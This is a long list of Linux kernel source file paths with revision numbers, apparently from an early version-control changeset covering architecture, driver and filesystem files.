1.5 linux/arch/arm/mach-sa1100/leds-graphicsclient.c - 1.2 linux/arch/arm/mach-anakin/irq.c - 1.3 linux/arch/arm/mach-sa1100/jornada720.c - 1.4 linux/arch/arm/mach-integrator/cpu.c - 1.4 linux/arch/arm/mach-sa1100/irq.c - 1.3 linux/include/asm-arm/mach/serial_sa1100.h - 1.3 linux/arch/arm/mach-sa1100/graphicsclient.c - 1.5 linux/arch/arm/mach-sa1100/assabet.c - 1.6 linux/arch/arm/mach-sa1100/cpu-sa1110.c - 1.4 linux/arch/arm/mach-sa1100/generic.c - 1.5 linux/arch/arm/mach-sa1100/flexanet.c - 1.3 linux/drivers/tc/lk201.c - 1.4 linux/drivers/tc/lk201.h - 1.4 linux/arch/ppc/mm/4xx_mmu.c - 1.4 linux/drivers/usb/usbnet.c - 1.13 linux/arch/ppc/mm/mmu_context.c - 1.4 linux/arch/ppc/kernel/temp.c - 1.2 linux/arch/ppc/mm/mmu_decl.h - 1.6 linux/arch/ppc/mm/pgtable.c - 1.6 linux/arch/ppc/mm/ppc_mmu.c - 1.7 linux/arch/ppc/mm/tlb.c - 1.3 linux/arch/ppc/kernel/l2cr.S - 1.6 linux/arch/ppc/kernel/cputable.c - 1.9 linux/arch/ppc/kernel/btext.c - 1.6 linux/drivers/video/radeonfb.c - 1.14 linux/drivers/video/radeon.h - 1.6 linux/drivers/sound/nec_vrc5477.c - 1.8 linux/drivers/sound/ite8172.c - 1.8 linux/drivers/char/serial_tx3912.c - 1.5 linux/arch/sh/kernel/mach_7751se.c - 1.2 linux/arch/sh/mm/cache-sh4.c - 1.4 linux/arch/sh/mm/clear_page.S - 1.2 linux/include/asm-ppc/sections.h - 1.3 linux/arch/sh/mm/copy_page.S - 1.2 linux/arch/sh/kernel/dma.c - 1.2 linux/arch/mips/au1000/common/Makefile - 1.4 linux/arch/mips/au1000/common/dbg_io.c - 1.4 linux/arch/mips/au1000/common/irq.c - 1.4 linux/arch/mips/au1000/common/prom.c - 1.4 linux/arch/mips/au1000/common/puts.c - 1.2 linux/arch/mips/au1000/common/reset.c - 1.4 linux/arch/mips/au1000/common/serial.c - 1.5 linux/arch/mips/au1000/common/time.c - 1.4 linux/arch/mips/au1000/pb1000/Makefile - 1.4 linux/arch/mips/au1000/pb1000/setup.c - 1.4 linux/arch/mips/ite-boards/ivr/Makefile - 1.3 linux/include/asm-mips64/mips-boards/piix4.h - 1.2 linux/arch/mips/ddb5xxx/common/irq.c - 1.4 linux/arch/mips/ddb5xxx/ddb5477/Makefile - 1.4 linux/arch/mips/ddb5xxx/ddb5477/debug.c - 1.4 linux/arch/mips/ddb5xxx/ddb5477/int-handler.S - 1.3 linux/arch/mips/ddb5xxx/ddb5477/irq.c - 1.4 linux/arch/mips/ddb5xxx/ddb5477/pci.c - 1.4 linux/arch/mips/ddb5xxx/ddb5477/pci_ops.c - 1.4 linux/arch/mips/ddb5xxx/ddb5477/setup.c - 1.4 linux/include/asm-mips64/mips-boards/malta.h - 1.4 linux/include/asm-mips64/mips-boards/gt64120.h - 1.3 linux/include/asm-mips64/mips-boards/generic.h - 1.3 linux/arch/mips/philips/nino/setup.c - 1.3 linux/arch/mips/defconfig-atlas - 1.5 linux/arch/mips/defconfig-ddb5477 - 1.4 linux/arch/mips/philips/nino/prom.c - 1.3 linux/arch/mips/defconfig-malta - 1.5 linux/arch/mips/defconfig-nino - 1.3 linux/arch/mips/defconfig-ocelot - 1.3 linux/arch/mips/philips/nino/power.c - 1.3 linux/arch/mips/defconfig-pb1000 - 1.5 linux/arch/mips/gt64120/common/Makefile - 1.2 linux/arch/mips/gt64120/common/gt_irq.c - 1.2 linux/arch/mips/gt64120/common/pci.c - 1.3 linux/arch/mips/gt64120/momenco_ocelot/Makefile - 1.2 linux/arch/mips/gt64120/momenco_ocelot/dbg_io.c - 1.3 linux/arch/mips/gt64120/momenco_ocelot/int-handler.S - 1.2 linux/arch/mips/gt64120/momenco_ocelot/irq.c - 1.3 linux/arch/mips/gt64120/momenco_ocelot/pci.c - 1.2 linux/arch/mips/gt64120/momenco_ocelot/prom.c - 1.3 linux/arch/mips/gt64120/momenco_ocelot/setup.c - 1.3 linux/arch/mips/philips/nino/irq.c - 1.3 linux/include/asm-mips/mips-boards/piix4.h - 1.2 linux/include/asm-mips/mips-boards/malta.h - 1.4 linux/include/asm-mips/mips-boards/generic.h - 1.3 linux/arch/mips/kernel/pci_auto.c - 1.4 linux/arch/mips/ite-boards/ivr/README - 1.2 linux/arch/mips/ite-boards/ivr/init.c - 1.3 linux/arch/mips/ite-boards/ivr/pci_fixup.c - 1.3 linux/arch/mips/philips/nino/Makefile - 1.3 linux/arch/mips/jazz/irq.c - 1.2 linux/drivers/isdn/hisax/st5481_d.c - 1.7 linux/drivers/net/ns83820.c - 1.13 linux/drivers/char/decserial.c - 1.2 linux/drivers/char/ite_gpio.c - 1.2 linux/include/asm-mips/gt64120/gt64120.h - 1.2 linux/arch/mips64/defconfig-ip32 - 1.5 linux/arch/mips/sni/irq.c - 1.3 linux/include/asm-mips/gt64120/momenco_ocelot/gt64120_dep.h - 1.2 linux/include/asm-mips/gt64120.h - 1.3 linux/include/asm-mips/ddb5xxx/ddb5477.h - 1.4 linux/include/asm-mips/dec/ioasic.h - 1.4 linux/include/asm-mips/au1000.h - 1.4 linux/drivers/usb/hid-core.c - 1.8 linux/drivers/usb/hid-input.c - 1.5 linux/drivers/usb/hiddev.c - 1.3 linux/include/linux/hiddev.h - 1.4 linux/fs/jffs2/Makefile - 1.4 linux/fs/jffs2/crc32.c - 1.2 linux/fs/jffs2/crc32.h - 1.2 linux/fs/jffs2/dir.c - 1.6 linux/fs/jffs2/erase.c - 1.4 linux/fs/jffs2/file.c - 1.6 linux/fs/jffs2/gc.c - 1.5 linux/fs/jffs2/read.c - 1.3 linux/fs/jffs2/readinode.c - 1.5 linux/fs/jffs2/scan.c - 1.5 linux/fs/jffs2/write.c - 1.5 linux/drivers/acpi/kdb/README.txt - 1.2 linux/drivers/acpi/kdb/kdbm_acpi.c - 1.2 linux/drivers/acpi/debugger/Makefile - 1.2 linux/include/asm-i386/smpboot.h - 1.4 linux/drivers/mtd/chips/gen_probe.c - 1.3 linux/include/asm-ppc/commproc.h - 1.4 linux/drivers/net/wireless/orinoco_plx.c - 1.9 linux/arch/arm/mach-sa1100/leds-graphicsmaster.c - 1.2 linux/arch/arm/mach-sa1100/h3600.c - 1.5 linux/arch/arm/mach-sa1100/graphicsmaster.c - 1.4 linux/arch/arm/mach-sa1100/adsbitsy.c - 1.4 linux/arch/arm/lib/udivdi3.c - 1.2 linux/arch/arm/lib/muldi3.c - 1.2 linux/arch/arm/lib/longlong.h - 1.2 linux/drivers/net/8139cp.c - 1.10 linux/drivers/acpi/executer/exoparg6.c - 1.2 linux/drivers/atm/lanai.c - 1.3 linux/drivers/acpi/utilities/utmath.c - 1.2 linux/drivers/pcmcia/i82092.c - 1.6 linux/arch/arm/def-configs/adsbitsy - 1.3 linux/arch/arm/def-configs/epxa10db - 1.3 linux/arch/arm/def-configs/graphicsmaster - 1.3 linux/arch/arm/mach-epxa10db/Makefile - 1.2 linux/arch/arm/mach-epxa10db/arch.c - 1.3 linux/arch/arm/mach-epxa10db/dma.c - 1.3 linux/arch/arm/mach-epxa10db/irq.c - 1.2 linux/arch/arm/mach-epxa10db/mm.c - 1.3 linux/arch/arm/mach-epxa10db/time.c - 1.2 linux/drivers/acpi/executer/exoparg3.c - 1.2 linux/drivers/acpi/executer/exoparg2.c - 1.2 linux/drivers/acpi/executer/exoparg1.c - 1.2 linux/include/asm-arm/arch-epxa10db/dma.h - 1.2 linux/include/asm-arm/arch-epxa10db/excalibur.h - 1.2 linux/include/asm-arm/arch-epxa10db/hardware.h - 1.3 linux/include/asm-arm/arch-epxa10db/int_ctrl00.h - 1.2 linux/arch/arm/mach-sa1100/leds-adsbitsy.c - 1.2 linux/include/asm-arm/arch-epxa10db/io.h - 1.3 linux/include/asm-arm/arch-epxa10db/irq.h - 1.2 linux/include/asm-arm/arch-epxa10db/irqs.h - 1.2 linux/include/asm-arm/arch-epxa10db/memory.h - 1.2 linux/include/asm-arm/arch-epxa10db/mode_ctrl00.h - 1.2 linux/include/asm-arm/arch-epxa10db/param.h - 1.2 linux/arch/arm/mach-sa1100/pm.c - 1.3 linux/include/asm-arm/arch-epxa10db/platform.h - 1.2 linux/arch/arm/mach-sa1100/sleep.S - 1.2 linux/arch/arm/mach-sa1100/sleep.h - 1.2 linux/include/asm-arm/arch-epxa10db/pld_conf00.h - 1.2 linux/include/asm-arm/arch-epxa10db/serial.h - 1.2 linux/include/asm-arm/arch-epxa10db/system.h - 1.2 linux/include/asm-arm/arch-epxa10db/time.h - 1.3 linux/include/asm-arm/arch-epxa10db/timer00.h - 1.2 linux/include/asm-arm/arch-epxa10db/timex.h - 1.2 linux/include/asm-arm/arch-epxa10db/uart00.h - 1.2 linux/include/asm-arm/arch-epxa10db/uncompress.h - 1.3 linux/include/asm-arm/arch-epxa10db/vmalloc.h - 1.2 linux/net/ipv6/netfilter/ip6t_LOG.c - 1.4 linux/net/ipv4/netfilter/ip_nat_snmp_basic.c - 1.3 linux/net/ipv4/netfilter/ip_nat_irc.c - 1.4 linux/net/ipv4/netfilter/ip_conntrack_irc.c - 1.6 linux/include/linux/if_vlan.h - 1.4 linux/Documentation/networking/ifenslave.c - 1.4 linux/Documentation/networking/bonding.txt - 1.4 linux/drivers/atm/idt77252.c - 1.6 linux/fs/jbd/journal.c - 1.7 linux/drivers/scsi/sym53c8xx_2/sym_hipd.c - 1.5 linux/arch/arm/mm/proc-arm1020.S - 1.3 linux/arch/arm/mm/proc-arm926.S - 1.3 linux/drivers/video/sis/300vtbl.h - 1.6 linux/drivers/video/sis/310vtbl.h - 1.6 linux/drivers/video/sis/init.c - 1.6 linux/drivers/video/sis/init.h - 1.6 linux/drivers/video/sis/init301.c - 1.6 linux/drivers/video/sis/init301.h - 1.6 linux/drivers/video/sis/oem300.h - 1.6 linux/drivers/video/sis/oem310.h - 1.6 linux/drivers/video/sis/osdef.h - 1.5 linux/drivers/video/sis/sis_main.h - 1.6 linux/net/atm/pppoatm.c - 1.4 linux/drivers/video/sis/vgatypes.h - 1.6 linux/drivers/video/sis/vstruct.h - 1.5 linux/fs/ext3/file.c - 1.4 linux/fs/ext3/inode.c - 1.7 linux/arch/i386/kernel/acpitable.c - 1.4 linux/fs/ext3/super.c - 1.7 linux/drivers/hotplug/Makefile - 1.5 linux/fs/reiserfs/procfs.c - 1.6 linux/drivers/hotplug/Config.in - 1.4 linux/arch/i386/kernel/acpitable.h - 1.2 linux/net/ipv4/tcp_diag.c - 1.3 linux/Documentation/filesystems/tmpfs.txt - 1.2 linux/drivers/isdn/hisax/hisax_fcpcipnp.c - 1.5 linux/drivers/scsi/aacraid/rx.c - 1.4 linux/drivers/scsi/aacraid/linit.c - 1.5 linux/drivers/scsi/aacraid/README - 1.4 linux/drivers/scsi/aacraid/dpcsup.c - 1.4 linux/drivers/scsi/aacraid/TODO - 1.2 linux/drivers/scsi/aacraid/aachba.c - 1.5 linux/drivers/scsi/aacraid/commsup.c - 1.4 linux/drivers/scsi/aacraid/comminit.c - 1.4 linux/drivers/scsi/aacraid/commctrl.c - 1.3 linux/drivers/scsi/aacraid/aacraid.h - 1.4 linux/arch/i386/kdb/ChangeLog - 1.23 linux/drivers/char/drm-4.0/agpsupport.c - 1.3 linux/include/asm-ppc/pmac_feature.h - 1.6 linux/drivers/macintosh/apm_emu.c - 1.4 linux/drivers/usb/serial/ipaq.h - 1.5 linux/drivers/usb/serial/ipaq.c - 1.5 linux/drivers/usb/vicam.c - 1.6 linux/net/ipv4/netfilter/ipt_ULOG.c - 1.6 linux/arch/mips/jmr3927/rbhma3100/pci_ops.c - 1.2 linux/drivers/char/au1000_gpio.c - 1.2 linux/drivers/char/au1000_ts.c - 1.2 linux/drivers/char/dummy_keyb.c - 1.2 linux/drivers/char/indydog.c - 1.3 linux/drivers/char/lcd.c - 1.2 linux/drivers/char/lcd.h - 1.2 linux/drivers/char/qtronixmap.c - 1.2 linux/drivers/char/sb1250_duart.c - 1.2 linux/drivers/block/cciss_scsi.c - 1.4 linux/drivers/hotplug/ibmphp_ebda.c - 1.5 linux/drivers/ieee1394/amdtp.c - 1.7 linux/drivers/ieee1394/cmp.c - 1.5 linux/drivers/ieee1394/dv1394-private.h - 1.7 linux/net/ipv4/netfilter/arp_tables.c - 1.2 linux/drivers/ieee1394/dv1394.c - 1.7 linux/drivers/ieee1394/dv1394.h - 1.4 linux/drivers/ieee1394/eth1394.c - 1.6 linux/drivers/ieee1394/eth1394.h - 1.5 linux/drivers/isdn/hisax/avma1_cs.c - 1.2 linux/drivers/message/fusion/lsi/mpi_tool.h - 1.2 linux/drivers/message/fusion/mptctl.h - 1.5 linux/arch/arm/boot/compressed/head-epxa10db.S - 1.2 linux/net/bluetooth/sco.c - 1.4 linux/net/bluetooth/l2cap.c - 1.5 linux/net/bluetooth/hci_event.c - 1.3 linux/net/atm/br2684.c - 1.3 linux/drivers/net/tc35815.c - 1.2 linux/drivers/net/tg3.c - 1.10 linux/arch/arm/def-configs/frodo - 1.2 linux/init/do_mounts.c - 1.8 linux/arch/arm/mach-clps711x/Makefile - 1.2 linux/arch/arm/mach-clps711x/fortunet.c - 1.2 linux/arch/arm/mach-clps711x/irq.c - 1.2 linux/arch/arm/mach-mx1ads/irq.c - 1.2 linux/arch/ppc64/xmon/xmon.c - 1.4 linux/arch/arm/mach-sa1100/frodo.c - 1.2 linux/include/linux/netfilter_arp/arp_tables.h - 1.2 linux/arch/ppc64/vmlinux.lds - 1.3 linux/arch/ppc64/mm/init.c - 1.4 linux/arch/ppc64/mm/fault.c - 1.4 linux/arch/arm/mach-sa1100/leds-frodo.c - 1.2 linux/arch/ppc64/kernel/xics.c - 1.4 linux/arch/ppc64/kernel/traps.c - 1.4 linux/arch/ppc64/kernel/time.c - 1.4 linux/arch/ppc64/kernel/syscalls.c - 1.3 linux/arch/arm/mach-sa1100/system3.c - 1.3 linux/arch/ppc64/kernel/sys_ppc32.c - 1.4 linux/include/linux/crc32.h - 1.2 linux/arch/ppc64/kernel/stab.c - 1.3 linux/arch/arm/mm/alignment.c - 1.2 linux/arch/ppc64/kernel/signal.c - 1.4 linux/arch/ppc64/kernel/setup.c - 1.4 linux/arch/arm/mm/proc-arm922.S - 1.2 linux/arch/ppc64/kernel/rtasd.c - 1.4 linux/arch/ppc64/kernel/rtas.c - 1.4 linux/arch/ppc64/kernel/rtas-proc.c - 1.3 linux/arch/ppc64/kernel/prom.c - 1.4 linux/arch/ppc64/kernel/process.c - 1.4 linux/arch/ppc64/kernel/proc_pmc.c - 1.4 linux/arch/ppc64/kernel/proc_pcifr.c - 1.2 linux/arch/ppc64/kernel/ppc_ksyms.c - 1.4 linux/arch/ppc64/kernel/pmc.c - 1.4 linux/arch/ppc64/kernel/pci_dma.c - 1.4 linux/arch/ppc64/kernel/pci.h - 1.3 linux/arch/ppc64/kernel/pci.c - 1.4 linux/arch/ppc64/kernel/pSeries_lpar.c - 1.3 linux/include/asm-ppc64/rtas.h - 1.4 linux/include/asm-ppc64/prom.h - 1.4 linux/include/asm-ppc64/processor.h - 1.4 linux/include/asm-ppc64/pgtable.h - 1.4 linux/include/asm-ppc64/memory.h - 1.3 linux/include/asm-ppc64/ioctls.h - 1.3 linux/include/asm-ppc64/io.h - 1.4 linux/include/asm-ppc64/ide.h - 1.3 linux/arch/ia64/sn/fakeprom/Makefile - 1.3 linux/arch/ia64/sn/fakeprom/README - 1.4 linux/arch/ia64/sn/fakeprom/fpmem.c - 1.4 linux/arch/ia64/sn/fakeprom/fpmem.h - 1.2 linux/arch/ia64/sn/fakeprom/fprom.lds - 1.3 linux/arch/ia64/sn/fakeprom/fpromasm.S - 1.3 linux/arch/ia64/sn/fakeprom/fw-emu.c - 1.4 linux/arch/ia64/sn/fakeprom/klgraph_init.c - 1.3 linux/arch/ia64/sn/fakeprom/main.c - 1.3 linux/arch/ia64/sn/fakeprom/runsim - 1.2 linux/include/asm-ppc64/iSeries/iSeries_VpdInfo.h - 1.2 linux/arch/ia64/sn/io/ate_utils.c - 1.2 linux/arch/ia64/sn/io/efi-rtc.c - 1.3 linux/arch/ia64/sn/io/ifconfig_net.c - 1.2 linux/include/asm-ppc64/iSeries/HvLpEvent.h - 1.2 linux/include/asm-ppc64/elf.h - 1.3 linux/include/asm-ppc64/eeh.h - 1.4 linux/arch/ia64/sn/io/sn1/hub_intr.c - 1.2 linux/arch/ia64/sn/io/sn1/hubcounters.c - 1.3 linux/arch/ia64/sn/io/sn1/huberror.c - 1.2 linux/arch/ia64/sn/io/sn1/ip37.c - 1.2 linux/arch/ia64/sn/io/sn1/mem_refcnt.c - 1.3 linux/arch/ia64/sn/io/sn1/ml_SN_intr.c - 1.2 linux/arch/ia64/sn/io/sn1/pcibr.c - 1.3 linux/arch/ia64/sn/io/sn2/bte_error.c - 1.3 linux/arch/ia64/sn/io/sn2/ml_SN_intr.c - 1.3 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_ate.c - 1.3 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_config.c - 1.3 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_dvr.c - 1.3 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_error.c - 1.3 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_hints.c - 1.3 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_idbg.c - 1.2 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_intr.c - 1.3 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_rrb.c - 1.3 linux/arch/ia64/sn/io/sn2/pcibr/pcibr_slot.c - 1.3 linux/arch/ia64/sn/io/sn2/shub_intr.c - 1.3 linux/arch/ia64/sn/io/sn2/shuberror.c - 1.3 linux/arch/ia64/sn/kernel/Makefile - 1.3 linux/arch/ia64/sn/kernel/bte.c - 1.3 linux/arch/ia64/sn/kernel/iomv.c - 1.3 linux/arch/ia64/sn/kernel/irq.c - 1.3 linux/arch/ia64/sn/kernel/llsc4.c - 1.3 linux/arch/ia64/sn/kernel/llsc4.h - 1.2 linux/arch/ia64/sn/kernel/machvec.c - 1.2 linux/arch/ia64/sn/kernel/mca.c - 1.3 linux/arch/ia64/sn/kernel/misctest.c - 1.4 linux/arch/ia64/sn/kernel/probe.c - 1.2 linux/arch/ia64/sn/kernel/setup.c - 1.3 linux/arch/ia64/sn/kernel/sn1/Makefile - 1.3 linux/arch/ia64/sn/kernel/sn1/cache.c - 1.2 linux/arch/ia64/sn/kernel/sn1/error.c - 1.2 linux/arch/ia64/sn/kernel/sn1/iomv.c - 1.2 linux/arch/ia64/sn/kernel/sn1/sn1_smp.c - 1.3 linux/arch/ia64/sn/kernel/sn1/synergy.c - 1.3 linux/arch/ia64/sn/kernel/sn2/Makefile - 1.3 linux/arch/ia64/sn/kernel/sn2/cache.c - 1.2 linux/arch/ia64/sn/kernel/sn2/iomv.c - 1.3 linux/arch/ia64/sn/kernel/sn2/sn2_smp.c - 1.3 linux/arch/ia64/sn/kernel/sn_asm.S - 1.3 linux/arch/ia64/sn/kernel/sn_ksyms.c - 1.4 linux/arch/ia64/sn/kernel/sv.c - 1.3 linux/arch/ppc64/kernel/mk_defs.c - 1.4 linux/arch/ppc64/kernel/misc.S - 1.4 linux/arch/ppc64/kernel/mf.c - 1.3 linux/arch/ppc64/kernel/ioctl32.c - 1.4 linux/include/asm-mips64/time.h - 1.4 linux/include/asm-mips64/sibyte/swarm_ide.h - 1.3 linux/include/asm-mips64/sibyte/swarm.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_uart.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_syncser.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_smbus.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_scd.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_regs.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_mc.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_mac.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_ldt.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_l2c.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_int.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_genbus.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_dma.h - 1.3 linux/include/asm-mips64/sibyte/sb1250_defs.h - 1.4 linux/include/asm-mips64/sibyte/sb1250.h - 1.3 linux/include/asm-mips64/sibyte/64bit.h - 1.3 linux/include/asm-mips64/ip32/machine.h - 1.3 linux/include/asm-mips64/ip32/mace.h - 1.4 linux/include/asm-mips64/ip32/ip32_ints.h - 1.2 linux/include/asm-mips64/ip32/io.h - 1.2 linux/include/asm-mips64/ip32/crime.h - 1.3 linux/include/asm-mips64/gt64120.h - 1.3 linux/include/asm-mips64/gdb-stub.h - 1.4 linux/include/asm-mips64/cacheops.h - 1.2 linux/include/asm-mips/vr4181/vr4181.h - 1.3 linux/include/asm-mips/vr4181/irq.h - 1.2 linux/arch/ppc64/kernel/iSeries_setup.c - 1.4 linux/arch/ppc64/kernel/iSeries_IoMmTable.h - 1.2 linux/arch/mips/au1000/common/clocks.c - 1.3 linux/arch/ppc64/kernel/i8259.c - 1.2 linux/arch/ppc64/kernel/htab.c - 1.4 linux/arch/mips/au1000/common/power.c - 1.3 linux/arch/ppc64/kernel/head.S - 1.4 linux/arch/ppc64/kernel/entry.S - 1.4 linux/arch/ppc64/kernel/eeh.c - 1.4 linux/arch/mips/au1000/common/usbdev.c - 1.3 linux/include/asm-mips/sibyte/swarm_ide.h - 1.3 linux/include/asm-mips/sibyte/swarm.h - 1.3 linux/arch/mips/au1000/pb1000/pci_fixup.c - 1.3 linux/arch/mips/au1000/pb1000/pci_ops.c - 1.3 linux/include/asm-mips/sibyte/sb1250_uart.h - 1.3 linux/arch/mips/au1000/pb1500/Makefile - 1.3 linux/arch/mips/au1000/pb1500/pci_fixup.c - 1.3 linux/arch/mips/au1000/pb1500/pci_ops.c - 1.3 linux/arch/mips/au1000/pb1500/setup.c - 1.3 linux/include/asm-mips/sibyte/sb1250_syncser.h - 1.3 linux/include/asm-mips/sibyte/sb1250_smbus.h - 1.3 linux/include/asm-mips/sibyte/sb1250_scd.h - 1.3 linux/include/asm-mips/sibyte/sb1250_regs.h - 1.3 linux/include/asm-mips/sibyte/sb1250_prof.h - 1.3 linux/include/asm-mips/sibyte/sb1250_mc.h - 1.3 linux/include/asm-mips/sibyte/sb1250_mac.h - 1.3 linux/include/asm-mips/sibyte/sb1250_ldt.h - 1.3 linux/include/asm-mips/sibyte/sb1250_l2c.h - 1.3 linux/include/asm-mips/sibyte/sb1250_int.h - 1.3 linux/include/asm-mips/sibyte/sb1250_genbus.h - 1.3 linux/include/asm-mips/sibyte/sb1250_dma.h - 1.3 linux/arch/mips/cobalt/irq.c - 1.4 linux/include/asm-mips/sibyte/sb1250_defs.h - 1.4 linux/arch/mips/cobalt/promcon.c - 1.3 linux/include/asm-mips/sibyte/sb1250.h - 1.3 linux/include/asm-mips/sibyte/64bit.h - 1.3 linux/arch/ppc64/kernel/chrp_setup.c - 1.4 linux/arch/ppc64/kernel/align.c - 1.3 linux/arch/ppc64/kernel/XmPciLpEvent.c - 1.3 linux/arch/ppc64/kernel/Makefile - 1.4 linux/arch/ppc64/kernel/LparData.c - 1.3 linux/arch/ppc64/defconfig - 1.4 linux/arch/ppc64/configs/pSeries_defconfig - 1.4 linux/include/asm-mips/pb1500.h - 1.3 linux/include/asm-mips/pb1000.h - 1.3 linux/arch/ppc64/configs/iSeries_nodevfs_ideemul_defconfig - 1.3 linux/arch/ppc64/configs/iSeries_devfs_defconfig - 1.3 linux/arch/ppc64/config.in - 1.4 linux/arch/ppc64/boot/zlib.c - 1.2 linux/arch/mips/ddb5xxx/ddb5476/Makefile - 1.3 linux/arch/mips/ddb5xxx/ddb5476/irq.c - 1.3 linux/arch/mips/ddb5xxx/ddb5476/nile4_pic.c - 1.3 linux/arch/mips/ddb5xxx/ddb5476/pci.c - 1.3 linux/arch/mips/ddb5xxx/ddb5476/pci_ops.c - 1.3 linux/arch/mips/ddb5xxx/ddb5476/setup.c - 1.3 linux/arch/mips/ddb5xxx/ddb5476/vrc5476_irq.c - 1.3 linux/include/asm-mips/kmap_types.h - 1.3 linux/include/asm-mips/jmr3927/txx927.h - 1.2 linux/include/asm-mips/jmr3927/tx3927.h - 1.2 linux/include/asm-mips/jmr3927/pci.h - 1.2 linux/include/asm-mips/jmr3927/jmr3927.h - 1.2 linux/include/asm-mips/jmr3927/irq.h - 1.2 linux/include/asm-mips/jmr3927/ds1742rtc.h - 1.2 linux/arch/ppc64/boot/addnote.c - 1.2 linux/include/asm-mips/galileo-boards/ev96100.h - 1.3 linux/include/asm-mips/galileo-boards/ev64120int.h - 1.2 linux/include/asm-mips/galileo-boards/ev64120.h - 1.3 linux/arch/ppc64/boot/Makefile - 1.4 linux/arch/mips/defconfig-ev64120 - 1.4 linux/arch/mips/defconfig-ev96100 - 1.4 linux/arch/mips/defconfig-hp-lj - 1.3 linux/arch/ppc64/Makefile - 1.3 linux/arch/mips/defconfig-ivr - 1.3 linux/arch/mips/defconfig-jmr3927 - 1.2 linux/include/asm-mips/debug.h - 1.3 linux/arch/mips/defconfig-osprey - 1.3 linux/arch/mips/defconfig-pb1500 - 1.4 linux/arch/mips/defconfig-sb1250-swarm - 1.4 linux/arch/mips/galileo-boards/ev64120/Makefile - 1.3 linux/arch/mips/galileo-boards/ev64120/cntmr.c - 1.3 linux/arch/mips/galileo-boards/ev64120/dma.c - 1.3 linux/arch/mips/galileo-boards/ev64120/i2o.c - 1.3 linux/arch/mips/galileo-boards/ev64120/int-handler.S - 1.4 linux/arch/mips/galileo-boards/ev64120/irq-handler.c - 1.3 linux/arch/mips/galileo-boards/ev64120/irq.c - 1.4 linux/arch/mips/galileo-boards/ev64120/pci_bios.c - 1.3 linux/arch/mips/galileo-boards/ev64120/promcon.c - 1.4 linux/arch/mips/galileo-boards/ev64120/reset.c - 1.2 linux/arch/mips/galileo-boards/ev64120/serialGT.c - 1.3 linux/arch/mips/galileo-boards/ev64120/setup.c - 1.4 linux/arch/mips/galileo-boards/ev96100/Makefile - 1.3 linux/arch/mips/galileo-boards/ev96100/init.c - 1.4 linux/arch/mips/galileo-boards/ev96100/irq.c - 1.3 linux/arch/mips/galileo-boards/ev96100/pci_fixups.c - 1.3 linux/arch/mips/galileo-boards/ev96100/pci_ops.c - 1.3 linux/arch/mips/galileo-boards/ev96100/puts.c - 1.2 linux/arch/mips/galileo-boards/ev96100/setup.c - 1.3 linux/arch/mips/galileo-boards/ev96100/time.c - 1.4 linux/arch/mips/galileo-boards/generic/Makefile - 1.4 linux/arch/mips/galileo-boards/generic/reset.c - 1.4 linux/include/asm-mips/cobalt/cobalt.h - 1.4 linux/drivers/net/wireless/orinoco_pci.c - 1.4 linux/drivers/pcmcia/au1000_generic.c - 1.3 linux/arch/mips/hp-lj/Makefile - 1.3 linux/arch/mips/hp-lj/asic.c - 1.2 linux/arch/mips/hp-lj/gdb_hook.c - 1.3 linux/arch/mips/hp-lj/init.c - 1.2 linux/arch/mips/hp-lj/int-handler.S - 1.2 linux/arch/mips/hp-lj/irq.c - 1.2 linux/arch/mips/hp-lj/pci-dma.c - 1.2 linux/arch/mips/hp-lj/pci.c - 1.2 linux/arch/mips/hp-lj/setup.c - 1.2 linux/arch/mips/hp-lj/utils.c - 1.3 linux/include/asm-mips/au1000_pcmcia.h - 1.4 linux/include/asm-mips/au1000_dma.h - 1.4 linux/drivers/scsi/aic7xxx/aic7770_osm.c - 1.4 linux/drivers/scsi/aic7xxx/aic7xxx_core.c - 1.6 linux/drivers/scsi/aic7xxx/aic7xxx_host.h - 1.3 linux/arch/mips/jmr3927/common/Makefile - 1.2 linux/arch/mips/jmr3927/common/prom.c - 1.2 linux/arch/mips/jmr3927/common/puts.c - 1.2 linux/arch/mips/jmr3927/common/rtc_ds1742.c - 1.2 linux/arch/mips/jmr3927/rbhma3100/Makefile - 1.2 linux/arch/mips/jmr3927/rbhma3100/init.c - 1.2 linux/arch/mips/jmr3927/rbhma3100/int-handler.S - 1.2 linux/arch/mips/jmr3927/rbhma3100/irq.c - 1.2 linux/arch/mips/jmr3927/rbhma3100/kgdb_io.c - 1.2 linux/arch/mips/jmr3927/rbhma3100/pci_fixup.c - 1.2 linux/drivers/scsi/aic7xxx/aic7xxx_osm.c - 1.4 linux/arch/mips/jmr3927/rbhma3100/rtc.c - 1.2 linux/arch/mips/jmr3927/rbhma3100/setup.c - 1.2 linux/drivers/scsi/aic7xxx/aic7xxx_osm_pci.c - 1.4 linux/drivers/scsi/aic7xxx/aicasm/aicasm_macro_gram.y - 1.4 linux/drivers/scsi/aic7xxx/aicasm/aicasm_macro_scan.l - 1.4 linux/arch/ppc/boot/utils/mktree.c - 1.3 linux/include/asm-ia64/sn/uart16550.h - 1.3 linux/include/asm-ia64/sn/sndrv.h - 1.3 linux/include/asm-ia64/sn/snconfig.h - 1.3 linux/arch/mips/kernel/irq_cpu.c - 1.4 linux/include/asm-ia64/sn/sn_pio_sync.h - 1.2 linux/include/asm-ia64/sn/sn2/sn_private.h - 1.3 linux/include/asm-ia64/sn/sn2/slotnum.h - 1.3 linux/include/asm-ia64/sn/sn2/shubio.h - 1.3 linux/include/asm-ia64/sn/sn2/shub_mmr_t.h - 1.2 linux/include/asm-ia64/sn/sn2/shub_mmr.h - 1.3 linux/include/asm-ia64/sn/sn2/shub_md.h - 1.3 linux/include/asm-ia64/sn/sn2/shub.h - 